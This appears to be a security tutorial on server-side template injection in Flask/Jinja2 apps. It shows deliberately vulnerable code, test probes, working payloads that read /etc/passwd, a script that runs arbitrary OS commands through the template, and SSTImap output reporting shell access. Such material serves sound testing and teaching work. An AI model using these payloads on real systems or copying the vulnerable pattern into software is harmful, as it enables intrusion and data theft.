Templating engines allows developers to abstract static and dynamic content. Templates contain variables which are replaced when the template is rendered.
Server Side Template Injection (SSTI) occurs when untrusted user input is passed directly to the templating engine.
For example, Flask Python applications use Jinja2 as a template engine. If unsanitised user input is supplied to the from_string or render_template_string function, an adversary may be able to inject malicious code.
Vulnerable Code
The below code is vulnerable to SSTI since user input is supplied directly to the render_template_string function.
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
search = request.args.get('search') or None
template = 'Search parameter: {}'.format(search)
return render_template_string(template)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
The following code is also vulnerable, due to it’s use of from_string but directly imports Jinja2.
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
environment = Environment()
@app.route('/')
def search():
search = request.values.get('search')
return environment.from_string("Search parameter: " + search).render()
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Vulnerability Identification
Calling the application with curl provides expected output;
curl 'http://127.0.0.1?search=test'
Search parameter: test
To determine if the application if vulnerable to SSTI, we can inject a mathmatical statement surrounded by curly braces. The braces normally indicate the field is part of the template to be replaced. Backslash characters are used to prevent shell escaping.
curl "http://127.0.0.1?search=\{\{668.5*2\}\}"
Search parameter: 1337.0
Since the application is processing the mathematical statements, that’s a good indication it’s vulnerable.
PortSwigger created a diagram of requests that can be used to fingerprint the backend engine.
Manual Exploitation
To exploit the condition, we need to be able to reference Python code we can execute. To start this process, we inject a string and access the string class base attribute. Reading the subclasses attribute of this object lists the classes at our disposal. Like so…
{{'bg'.__class__.__base__.__subclasses__()}}
This will present a large list of classes, so it’s best to parse the output with Python. If we want to read a file from the host, we will first need to look for _io._IOBase
import requests
def make_request(url,search_term):
response = requests.get(url)
server_response = response.text
class_list = server_response.split(',')
for item in class_list:
if search_term in item:
index = class_list.index(item)
print(index)
return index
io_base = make_request('http://127.0.0.1/?search={{"bg".__class__.__base__.__subclasses__()}}','_io._IOBase')
Running the code above tells us _io._IOBase is at index 114. Traversing this class leads us to the read method.
"bg".__class__.__base__.__subclasses__()[114].__subclasses__()[1].__subclasses__()[0]("/etc/passwd").read()
The following code would then allow for reading a file from the server.
import requests
def make_request(url,search_term):
response = requests.get(url)
server_response = response.text
class_list = server_response.split(',')
for item in class_list:
if search_term in item:
index = class_list.index(item)
return index
io_base = make_request('http://127.0.0.1/?search={{"bg".__class__.__base__.__subclasses__()}}','_io._IOBase')
file_read_url = 'http://127.0.0.1/?search={{"bg".__class__.__base__.__subclasses__()[' + str(io_base) + '].__subclasses__()[1].__subclasses__()[0]("/etc/passwd").read()}}'
response = requests.get(file_read_url)
print(response.text)
If the target application uses Python requests, command execution is trivial.
import requests
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("cmd")
args = parser.parse_args()
url = "http://127.0.0.1/?search="
exec_cmd = "{{request.application.__globals__.__builtins__.__import__('os').popen('" + args.cmd + "').read()}}"
response = requests.get(url + exec_cmd)
print(response.text)
Automated Exploitation
SSTIMap can perform automated exploitation against a number of templating frameworks.
./sstimap.py -u "http://127.0.0.1?search=test" --os-cmd id
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.0.2
[*] Author: @vladko312
[*] Based on Tplmap
[*] Testing if GET parameter 'search' is injectable
[*] Smarty plugin is testing rendering with tag '*'
[*] Smarty plugin is testing }*{ code context escape with 6 variations
[*] Smarty plugin is testing blind injection
[*] Smarty plugin is testing }*{ code context escape with 6 variations
[*] Mako plugin is testing rendering with tag '${*}'
[*] Mako plugin is testing }* code context escape with 6 variations
[*] Mako plugin is testing %>*<%# code context escape with 6 variations
[*] Mako plugin is testing blind injection
[*] Mako plugin is testing }* code context escape with 6 variations
[*] Mako plugin is testing %>*<%# code context escape with 6 variations
[*] Python plugin is testing rendering with tag 'str(*)'
[*] Python plugin is testing blind injection
[*] Tornado plugin is testing rendering with tag '{{*}}'
[*] Tornado plugin is testing }}* code context escape with 6 variations
[*] Tornado plugin is testing %}* code context escape with 6 variations
[*] Tornado plugin is testing blind injection
[*] Tornado plugin is testing }}* code context escape with 6 variations
[*] Tornado plugin is testing %}* code context escape with 6 variations
[*] Jinja2 plugin is testing rendering with tag '*'
[+] Jinja2 plugin has confirmed injection with tag '*'
[+] SSTImap identified the following injection point:
GET parameter: search
Engine: Jinja2
Injection: *
Context: text
OS: posix-darwin
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
uid=501(user) gid=20(staff)